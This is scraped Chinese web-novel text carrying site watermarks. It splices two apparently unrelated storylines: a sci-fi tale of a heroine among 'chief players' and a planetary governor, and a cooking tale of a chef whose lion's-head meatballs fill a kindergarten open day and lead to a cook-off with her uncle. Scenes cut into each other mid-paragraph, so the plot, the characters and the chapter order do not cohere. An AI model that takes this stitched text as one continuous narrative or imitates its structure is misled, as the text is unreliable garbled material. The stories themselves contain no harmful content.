方羲唔了一声，像是卖关子一样故意拖延了好一会，直到听到宋白玉有些不安的呼吸声，才忍不住笑着反问：“为什么不行？” 宋白玉顿时松了一口气。 但方羲生怕自己这一通电话摇来了太多玩家，立刻补充道：“别来太多人，叫上踏樱和一夕，只要你们几个人来就好了……” 话音刚落，方羲就听见一片绝望的哀嚎声。 “不要啊！” “收藏家！我们也想来！” “秦队，宋队，你看你们一天天的这么忙，哪有时间去接收藏家？要不还是我们去吧……” “滚滚滚滚滚！” 刚刚那阵巨大的孤独感，就像一场梦，被真实世界，轻而易举地吹走，飘飘然飞向遥远的宇宙。 “那好吧。” 方羲忽然改变主意，勉为其难地说：“我等你们一起来。” 对面瞬间炸出一片猛烈的欢呼声。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【END】 第206章 第206章 N1234星球长，其实是一名非常称职的星球长。 他一生恪守本分，虽然对异端污染这个事无能为力，但在其他方面，一直都在致力于让N1234星每天都变得更好……上任三十年，从未出过差错！每年的星球长评比打分，他也得到了高达90的平均分！ 哪怕空气里充满了病菌，每天都会不小心和异端擦肩而过，又或者每隔一段时间就会听闻老朋友被猎杀的噩耗…… 哪怕天空没有蓝色。 哪怕心情再绝望，也都要撑起一个油腻的、谄媚的笑容，讨好那些每年定时过来巡查的士兵，期望着说不定N1234行星下一年能得到多一点点的资源…… 即使这些士兵所在的星球单位只高他们一小级，生活一样也没好到哪里，一样离神圣的中央区域很遥远，哪里可能分出更多的资源呢？ 但在收藏家销声匿迹的第二年，N1234行星的……的邻居！N1235行星，幸运地被建立了锚点，于是连带着与N1235行星极其相近的N1234行星，也被小小地波及了一番。 他们从此拥有了珍贵的蓝天。 连异端也在这两年内，消失了不少。启明星幼儿园要开办参观会这件事，在市内悄悄地传开了。 不过，重点似乎有点偏离了幼儿园本身。 “你知道吗？她们家有个贼厉害的厨子？我娘家外甥，就那个钱瑞，就你说吃饭跟小猫似的那个，现在一顿吃两个馒头！” “他家的狮子头我听说，可比方氏酒店的好吃……哎呦你怎么不信呢？” “对，我吃过他们家的辣炒鱿鱼。好吃！” 当然，也有忧心忡忡生怕自己多个竞争对手的。 “诶对，还行吧，就还行……什么，你说我之前跟你说想挖那厨子当保姆？哎呦，这不就是我们家钱瑞喜欢这一口吗！” 小园长登记了一下，有预约的确定会来的，差不多有个三百来人。 这人数让方羲也忧心忡忡起来。 算上幼儿园的小朋友和家长们，加起来，顶多凑个四百人。 这离任务的要求还差六百呢！ 不过，除了方羲之外，大家都对这个数字已经很满意了。 “园长，那天参观会是放在室内还是室外啊，感觉室内的话，这么多人放不下。” 最快乐的是祝辰辰。 参观会当天，小园长承诺来帮忙的人都日新一百，祝辰辰凭借自己多年撒娇功力，不但拿到了额外一百块，还拿下了两个额外的狮子头！ “那就放室外！” 小园长果断决定：“最近天气都挺好的，我看那天也是晴天。幼儿园的遮阳伞也足够了。” “那附近那几家可遭罪了……羲羲姐做的那狮子头那个香啊……” 听见祝辰辰的话，方羲突然想到了！ 在室外的话，如果让S级狮子头的味道散发出去，是不是也能吸引来点人？ “可以，我看幼儿园还有个大砂锅，到时候也一起抬出去边炖边上，省得狮子头凉嘛。” 祝辰辰“嘶”地倒吸一口冷气，转脸向小园长谏言：“皇上！臣恐款待不周啊！” 小园长以为方羲是要借机找新工作来和方家对抗，而且，这样也可以顺便给她的幼儿园宣传，自然是举双手赞成。 “就你怪话多！要不给你放假，你别吃狮子头了！” 狮子头第一次出锅的时候，小园长并没有吃到。她的那一份，全让给王女士那一批了。 平时方羲做的菜虽然香，但还没超越她的想象极限。 所以，当她看到第二天幼儿园的人山人海时，颇有些震惊。 “王老师，您这是……” 曾经来参观过狮子头的邓老师带着全家都来啦！连他们家七十岁的老爷爷，也拄着拐杖一起来参观了。 “肖园长，我们这不是来参观的嘛……那个狮子头是怎么算的啊？每人限量一个吗？” 小园长一把捂住旁边欢呼雀跃就要开口回答一个的王老师，斩钉截铁地改口道：“每人四分之一个！不能加！” “只能吃四分之一个啊……” 邓老师有点遗憾地，那天狮子头的香味仿佛还在她唇齿间萦绕。 不过，四分之一个也比没有要强。 她老公是个耙耳朵，见状立刻上前表功：“老婆，我的那份也给你！” 邓老师惊喜：“好！不用都给我，你也可以尝尝！” 耙耳朵大为惊喜，昨天他把家务全做了，还给老婆做了爱心小蛋糕，也没得到过这么大一个笑脸啊。 只不过，在小心翼翼地尝了老婆赏的一小块狮子头之后，他终于知道为什么这个笑容如此灿烂了。 “老婆……这个狮子头……” 邓老师果断翻脸：“你不会不想给我吃了吧？” “不是不是不是，”耙耳朵疯狂摇头，“就是想再尝尝，看看回去能不能给你复原出一点味道来……” “就凭你，还想复原这个狮子头的味道？” 邓老师嘴上嫌弃，不过还是微微有点心动。她老公厨艺确实不错，毕竟常年做饭，万一能复原出个十分之一呢？ “那你咬一口吧，小小的咬啊不能……王德标你干什么！嘴张太大了吧！你给我……不行！不给你吃了！” 方羲已经把又一锅狮子头炖上了，她带着祝辰辰，两个人慢慢地把砂锅端到了场地中央。 因为场地里有不少小朋友，她又指挥祝辰辰做了保护措施。 祝妈妈也来了！ 祝辰辰今天积极主动地干活，就是为了给太后争取一个完整的狮子头。 她鬼鬼祟祟地把妈妈拉到一边：“妈，给你个好吃的！” 祝妈妈今天本来不想来的：“搞了半天，你出来兼职就是惦记你妹幼儿园这点吃的？” 这姐俩现在不在家偷偷点奶茶，改成每天交流幼儿园抢菜心得了！ “祝辰辰，要是你妹再胖，你就给我滚去你舅舅家，不许再在这……” 柔嫩又有嚼劲的狮子头刚刚入口，祝妈妈的话就停下了。 身为两大抢饭王头上的祝家掌门人，祝妈妈慢慢地品味了一下口中的丰腴鲜香。 她很久没吃到过这么好吃的狮子头了。 肥肉瘦肉的比例堪称完美，丰腴的肥肉带来了入口即化的口感和脂肪的浓香，而鲜弹入味的瘦肉则带来了极为丰富的口感。 更难得的是，这瘦肉在保留颗粒感的同时，一点肉筋都吃不到，完全不会觉得柴或者塞牙。 其中马蹄粒的比例更是绝妙，带来了一丝如同爆开的甜香，但绝不喧宾夺主，只是给厚实的猪肉香味添加一点后调。 “很好。” 祝辰辰看见妈妈徐徐点头，上前表功。 “妈，看在这狮子头这么好吃的份上，能不能答应我下学期加生活费的事儿啊！” 太后慢条斯理地又舀起一块狮子头，一边历数女儿滔天罪行：“加生活费就免了，不过可以抵消一些其他罪行。” “上周三的奶茶，上周五的水果捞，上上周末的炒酸奶……”太后一个眼刀飞过去，“偷偷吃完，然后说没胃口不吃我做的饭。” 祝辰辰蔫了。 正巧方羲叫她，她赶紧飞快逃离现场。 “来，你把这个锅盖掀起来，小心点，直接拿进去，别烫了人。” 砂锅掀开，刚刚就隐隐约约勾人肠胃的浓香，立刻爆炸开！ 这股霸道的香味，从幼儿园上头飘开，侵略性地占领了整条街道。 幼儿园隔壁的菜鸟驿站最先有反应，抱着大堆快递的学生忍不住凑过来问：“这是干什么？这么香，能进去看吗？” 门口抱着宣传单的王老师有点为难。 “这是我们幼儿园的参观会，希望给家长们了解一下……” 这抱着一大堆快递的女生，明显是女大啊！等她家孩子上幼儿园，还是有一定困难的。 女大实在受不了这样的味道，她灵机一动，抢过王老师手里的宣传单，光速拍了正反面发朋友圈：“那这样，等下有人赞了你就让我进去，行不？” 方羲已经把锅里的狮子头全盛出来，跟袁国忠一起切割成四分之一的大小，依次放进纸碗里。 任务的人次，已经到了517。 这就是S级菜谱的制霸能力吗？ 她忍不住想，要是自己能够通过系统味觉，甚至在系统的任务下，慢慢把所有技能都练成S级，是不是就能和当年那位老祖宗一样了？ 系统难得地出来回答了一句。 【不能，当年的厨神是除了调味外，全系技能3S级】 3S级？ 方羲震撼了一把。 连S级的菜谱已经是这样了，3S级的菜肴又会是什么程度呢？ 她看着不断涌入的人群，有点欣慰。 3S级别的菜肴暂时肯定是见不到的，但是，她马上就能解锁第一个属于自己的菜品风味了。 任务完成度后面的人数从五百，慢慢到了六百七百…… 从高处看，启明星幼儿园里面简直堪称拥挤，维持秩序的几位老师嗓子都哑了。 这声音，甚至传到了几十米外的方氏酒楼。 王女士有点心焦地往窗外看了好几次。 坐在她对面的，正是那位昵称煮男的探店博主。 王清安新投资的公司正要往自媒体这个方向发展，和这位煮男有合作关系，这次对方来她这边探店，王清安自然是要尽地主之谊的。 可是，她没想到，时间竟然和启明星幼儿园的参观会重合了！ 对方注意到了王女士一直往窗外看，忍不住调节气氛：“稍微是有点吵，不过好在这家的狮子头确实不错，王女士就住在本地，想必吃过很多次了吧？” 做了几年探店博主，煮男吃过的美食也相当之多。他的评价，也是相对比较客观肯綮的。 “没事，您不用在意我，别影响您的录制。” 煮男大笑：“没事没事，后期肯定还是要剪辑的嘛。这个狮子头虽然不如我在京城至味斋吃的，但至味斋的狮子头可是998一颗，而这不到二百块五个！确实可以说是大家吃得起的美食了。” 他也伸头看了看外面的幼儿园：“只不过，这就餐环境确实一般。” 王女士一边笑，一边光速把幼儿园的餐费换算了一下。 启明星幼儿园给小朋友们的餐费预算，大概是两顿正餐都十块，每个小朋友一个狮子头。 不到……十块……？ 她看了看自己面前的那只狮子头，更觉得今天的拍摄好亏。 想起那天吃的几块狮子头，还有为了形象完全没碰的汤汁…… “王女士不吃吗？”煮男还在笑着调节气氛，“不过，您公司开这么大，想必也吃过很多更棒的狮子头。” 所谓伸手不打笑脸人，看着对方的笑脸，王女士也不好再因为个人原因冷着脸了。 “其实，就在这里，就有一家的狮子头，比方氏酒楼的狮子头更好吃。只不过，现在知道的人还不多。” 王女士看了一眼幼儿园熙熙攘攘的人流，在心里补充了一句，暂时确实知道的人还不多。 不过，再过几天就不知道了。 煮男来精神了。 出远门一趟只拍一家的话，其实是有点累的。所以，他很少来这种小城市进行拍摄。 只不过，这次正好可以来看看合作公司，他已经想跳槽一段时间了。 要是能够在这座小城市再拍一个视频，还是同样的狮子头对比，还是挺划算的。 “您说，是哪家？” 王女士指了指窗外熙熙攘攘的人流处：“就是那家幼儿园，这家幼儿园后厨做出的狮子头，比方氏酒楼的好吃一百倍。” N1234行星因此成为一个还算不错的旅游胜地。 尽管没那么“幸运”，没能被先行者落下的光辉眷顾，但这些变化已经让N1234星球长心满意足。 也就在他以为自己会平平无奇地结束作为一名星球长的工作，安安稳稳退休的时候——意外发生了！ N1234行星居然来了一艘阿尔法号军用星航！ ——虽然不知道对方的目的，还不出示任何通行证（有那么一刻怀疑这是没经验的间谍），但星球长还是很有眼力见地让他们通过！ 是的，他们。 军用星航非常珍贵，至少百亿起步（驾驶技术稀烂的方羲，暂时还不知道真相）！ 一般情况下，军用星航不会轻而易举只让那么一两个人单独使用，所以星球长误以为驾驶阿尔法号军用星航的是一群帝国新兵。 结果当他偷偷摸摸查看天马市S级星航场实时监控的时候，却只看到一个人走了出来。 一名成年女性，年龄二十岁上下，带着眼罩，走路姿势很随意，一点也不像在前线服过役的帝国士兵……怎么只有一个人？ 一个人就算了，但她怎么会没有公民身份证？！哪哪都去不了！最后只能一脸绝望又愤愤地返回星航！ 星球长立刻暗叫不妙，这个人行为举止哪哪看都很怪异，浑身不对劲！ 不会真的是间谍……不，哪有间谍这么嚣张？！ 星球长大惊，这不会是哪里来的星际一级逃犯吧？！ 天塌了！ N1234行星不保！ 于是星球长速速调遣附近的军队，让他们在S级星航场各大出口死守！ 可惜正在星航里和首席玩家煲电话粥的方羲，对此毫不知情…… 时间一分一秒过去…… 星球长死死盯着监控，不过错过任何线索，还让助手立刻开启全方面的安全检测，生怕星际逃犯神不知鬼不觉埋下一个毁灭星球的炸弹…… 【黑天鹅首席玩家秦淮月向您发起联络请求！】 “……” 星球长和身边那些助手面面相觑。 “我眼瞎了？还是听错了？”星球长使劲地揉了揉自己的眼睛和耳朵。 秦淮月是谁？ 那可是失乐园实力最顶级的猎人！ 即使诞生了一批新生代，也没有猎人能追上秦淮月的实力！ 星球长一时间更惊恐了！ 结果就在他迟疑的这么一小会，光脑刷刷刷弹出更多的联络请求！ 【黑天鹅首席玩家宋白玉向您发起联络请求！】 【黑天鹅首席玩家柳莺向您发起联络请求！】 【黑天鹅首席玩家徐万念向您发起联络请求！】 最终，在比赛开始之前，方叔正一口气凑了六位评委出来。其中不乏自己找上门的。 除此之外，方伯端也派了本家几个人过来观赛。 方叔正给几个亲戚安排好座席，自己得意洋洋领着儿子出门准备迎接王钊山：“你还敢质疑你老子的厨艺？你看看，这不都是找上门来尝尝你老子亲手做的狮子头吗？” 就比方说昨天过来联系他的王女士，这位在方氏酒楼吃了这么多年的狮子头了，可是他的忠实粉丝。 方一金总觉得哪里不太对劲……上次那个倒戈的煮男，第一次来吃狮子头，不就是这位王女士陪着的吗？ 当时的王女士，只浅浅尝了一口，他还以为这位保养得宜的女士是为了减肥，但现在回忆起来好像不太对啊？ “真的吗……” 方叔正对这个最近屡屡质疑自己的儿子不太满意，比赛在即，两个人已经在幼儿园门口等评委了，这时候他儿子还在想什么？ “专心点！今天好好看我做的过程，回家了就开始教你了。” 上次被煮男捅出来他让手下的徒弟代替，以后这招是用不了了。那徒弟也让他大哥解雇了，以后只能指望儿子了。 “哈哈哈，您终于来了！这下评委齐了，我陪您一起进去！” 邱娴跟在王钊山身后，一起往启明星幼儿园的场地里走去。 想到等下又能吃到让她魂牵梦萦的那只狮子头，邱娴觉得，口水都要流出来了！ 她和王钊山一起在评委席坐下，环顾了一下，大家热情地寒暄了一下。 这方叔正到底什么人缘啊？瞧瞧这请来的评委。 王女士，她，王钊山，还有两位看着眼生，但也热情地过来握手。 “听说您是记者？啊，我也从事自媒体相关工作，我儿子就在这幼儿园，叫钱瑞！” “哈哈，我在公证处工作，这不是领导说让人过来一趟，我赶紧来了……对，我闺女也在这幼儿园，我姓祝，你叫我老祝就行了！” 邱娴快憋不住笑了！ 这真的不是方羲的狮子头粉丝见面会吗？ 唯一一位不认识的评委，做得腰杆笔直、不怒自威，像是当过兵的，不过看对方跟王女士似乎认识的样子，八成也是被请过来吃狮子头的。 大概是她笑得实在是太夸张，王钊山白了她一眼：“能不能严肃点，一会儿把方叔正吓跑了！” 他指向另一边：“看看，那边还有几个方家人，你别叫人家看出来。” 在比赛之前，他跟这个小记者一起去做了两次探店，感觉邱娴对食物的品味相当不俗。 连带着让他对方羲手下的狮子头也好奇起来。 比赛场地是用的幼儿园平日里活动课的场地，厨具和食材也都布置好了。 小园长一脸严肃地跟方叔正讲解：“你们俩现在开始做，然后由六位评委点评，食材都在这了，没问题吧？” 狮子头所需要的食材和调料，都放在中间的一张桌子上，由两边的厨师取用。 方叔正过去检查了一下，猪肉都是上好的硬五花，其他配料也都很新鲜。调料甚至是他用惯了的牌子。 他抬眼看了一眼方羲，发现对方没看自己。 方羲对这个叔叔没有太多感情，以前练厨艺的时候交流也不太多，她懒得看对方，对着小园长点点头。 “我这边也没问题，可以开始了。” 距离上次做她的风味特效狮子头，一周的时间已经过去了，这次正好可以做出她的风味狮子头。 两个人各自挑选好五花肉，开切！ 中国菜的烹饪中，刀工是尤为重要的一环。不像西餐中多种多样的道具，大多数中国厨师都是一把菜刀走天下的。 方叔正的菜刀，甚至是请了专人打造的，连这次出门比赛也带了过来。 与之相比，方羲的那把张小泉菜刀，就显得有些局促。 不过，在台下人看来，方羲的刀工，却显得比方叔正更胜一筹。 王钊山点了点头，他能当上名厨录的食评家，自然是吃过见过的。 他给其他几位比较业余的评委讲解道：“光从刀工看起来，这小姑娘的刀工丝毫不逊色于方主厨啊，甚至可能还强一点。” 王女士是个好捧哏，她微笑着侧身问道：“可是我看，方叔正切的速度似乎还要快一点？” “毕竟他年纪大了一些，菜刀也更为锋利，这位方羲厨师的菜刀看起来像是幼儿园自备的……等等，不对。” 王钊山奇怪地看了一眼两位厨师切完，砧板上堆叠起来的肉片。 狮子头要先切肉片，再切肉条，最后切成小粒。 “你们看，这位小厨师切出来的肉片，是不是分外整齐？” 这点大家都是看见了的，不过没人当回事，只以为是方羲那块五花肉的纹路更好。 “一般来说，切肉的时候大家或多或少有个前锯后拉的过程，但是细看这位小厨师的动作，这个动作特别小。” “不是因为她的刀子锋利，是因为她的动作更快、更有力量。这样切下来的肉，纤维少了一丝撕扯，就会更整齐。” 王钊山感叹了一句：“我以前也学过一段时间厨，只是后来受不了那个苦。我师父家里是御厨出身，跟我说过，真正的厨师臂膀都是很有力气的，但又不能是死肌肉。要吊着沙袋练刀工的……” 过去他不信，但是现在他信了。 方叔正一米八的大汉，可是这方羲看起来比他手上还有力气。 邱娴也眯起眼睛仔细看了方羲切肉的动作，忍不住感慨到：“小姐姐这个肩膀手臂的线条真的太好看了，这肌肉线条，好想摸一把啊……” 祝辰辰充当了这场比赛的勤杂工，刚刚给几位评委上了一轮茶水，忍不住插嘴道：“我们羲羲姐每天都要练刀工呢！一开始光吊着沙袋，现在沙袋上还要加一个钢圈，她超有力气的！” 王女士旁边那位坐得笔直疑似退伍士兵的男性，也点了点头，开口评价了一句：“确实，她肩膀练得很好，而且不是大重量练出来的，敏捷性也很好。” 这时，台上的两人都已经切完肉馅了。 两个人的做法，在这里开始泾渭分明了。 方羲的狮子头，切完肉粒之后，又以刀背剁了几下。而方叔正的狮子头，则是用刀身轻抹慢拍。 作为本场评委中唯一的专业人士，王钊山再次点评：“这么看来，方叔正的狮子头应该是偏向软糯，那个视频中能插在筷子上的狮子头，肯定不是他本人做的。” 他嘲讽地笑笑：“用徒弟代替自己做菜，其实很多大师都这么做。但是这么看来，这位方叔正恐怕是怕徒弟学会了菜谱，教学的时候都留了一手，这才砸了自己的招牌。” 此刻，两名厨师已经都开始揉狮子头了。 方叔正的狮子头手法是很传统的摔打法，肉球在两只手中间来回飞舞，与此同时快速成型。 而方羲的就不一样了，她时而捶两下，时而又捏紧了拳头去碾压，摔打狮子头的手法也似乎有什么讲究。 她的两只手很美，手掌白皙有力，手指纤细修长，像两只蝴蝶一样上下飞舞。一众评委正在眼花缭乱间，突然她手里就捧出来一只狮子头，轻轻一推，这只狮子头就滚进了油锅里。 “这手法……” “拍下来了，拍下来了！我去发个抖音！” “听说方叔正搞了个玻璃厨房每天直播做狮子头，要我说，方羲这才应该搞，这手法让我看我都愿意给门票！” 一个个狮子头就这么神奇地被方羲轻巧拨下了油锅，炸开一朵巨大的油花，脂肪和蛋白质相遇的香气在整个幼儿园上空炸开。 炸狮子头的手法，两人倒是一致，都是用长筷子不停拨弄，让狮子头在滚烫的油锅中保持旋转。这样，才能在最快的时间内给狮子头定型，并且炸得内外均匀。 方叔正得了这个时间，这才顾得上看一眼方羲的发挥。 一眼看过去，对方的操作手法跟自己没有任何不同，他也放松下来了。 他忍不住嘲讽一句：“就算你偷了个狮子头的菜谱又能如何？我没听说过哪个厨师就会做一道拿手菜的。” 方叔正最出名的虽然是狮子头，但他确实还有其他几道拿手菜，一道糖醋子排，一道三套鸭。 这句嘲讽一出来，系统又开始狂叮！ 方羲头痛地看着半空中的系统面板，上面赫然发布了新任务。 【随机任务：在比赛中堂堂正正击败方家人，让他们心服口服】 【奖励：玄铁菜刀】 菜刀！ 方羲激动了！ “反正狮子头炖煮期间还要很久，这时候也不能让评委空等着，我们再来比别的菜。” “很久之前就听说你的糖醋子排很有名，不如我们来比比做排骨？” 方叔正嗤笑出声：“行啊，既然你主动要求的，那也别怪我以大欺小了。” 他今天就让这个侄女看看，什么叫姜是老的辣！ 偷了一道菜谱，还真拿自己当盘菜了！ 方羲摇摇头：“不。” 她终于再次动笔，一边写，一边呢喃。 “我来自蓝星……” 哪怕……她在这个地方根本没有足以称之为美好的回忆，也无数次憎恨过自己为什么要诞生在这种地方…… 【滴——】 【星球录入成功——】 四人对视一眼，他们从没听说过这个星球。 方羲继续往下写，把剩下的信息一一填完。 最后点击提交。 【提交成功！】 【审核通过！】 【帝国公民身份号码生成中——生成成功！】 工作人员帮忙把方羲的身份证录入她的光脑。 这样一来，方羲再也不会被黑户这一问题困扰。 在“认证成功”的那一刻，办事大厅也同步响起一个温柔的机械音。 【方羲女士，恭喜您成为人类帝国公民之一！】 【您的姓名、声音、容貌、过去所做的伟业，所有的一切，都将被帝国永远铭记！永不遗忘！】 【您即人类之光！】 “……” 方羲默默地想，这台词太夸张了吧？ 但她还是欣然接受系统的夸奖！ 完成了身份证的事……接下来就是去看她那个一个亿的豪华别墅！ “方羲。”宋白玉忽然戳了戳她。 “怎么了？”方羲侧目，在这双红石榴颜色的眼睛里看到了自己的身影。 “今天是十三号……”宋白玉眼底含着笑，“你刚刚填的生日是三月十四，那不正好是明天吗？我们来办个生日会怎么样？” 方羲愣了一下。 秦淮月笑道：“叫上其他人一起吧？” 徐万念大惊：“我还没准备礼物！” 踏樱兴致勃勃道：“那让我来布置场地吧！还有蛋糕……哦，对了，白鸦，你千万不要插手食物的部分，知道吗？” “……”方羲没却立刻接话。 生日？ 好陌生的词汇。 但她忽然又想，真是太好了。 以后再也没有怪物假扮成人类，陪着她上学、工作、玩乐。 她也不用再忍受这种粉饰太平的恶心感，把堆满尸体的废墟假装成一个家，对漏洞百出的世界信以为真，故作自己真的不过是一个为那些最琐碎不过的小事苦恼的普通人…… “机会难得，就庆祝一次吧？” 宋白玉的声音再次响起，把恍惚的方羲猛地拉回现实世界。 “怎么样？” “……”方羲故意露出一副勉为其难的样子，“那好吧！” 3月14…… 实际上，她还没过过生日呢！ 明天肯定又是人挤人！说不定那些首席玩家又缠着要一起合照，真头疼啊…… 但是。 方羲心想。 这一次，她再也不会孤独。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&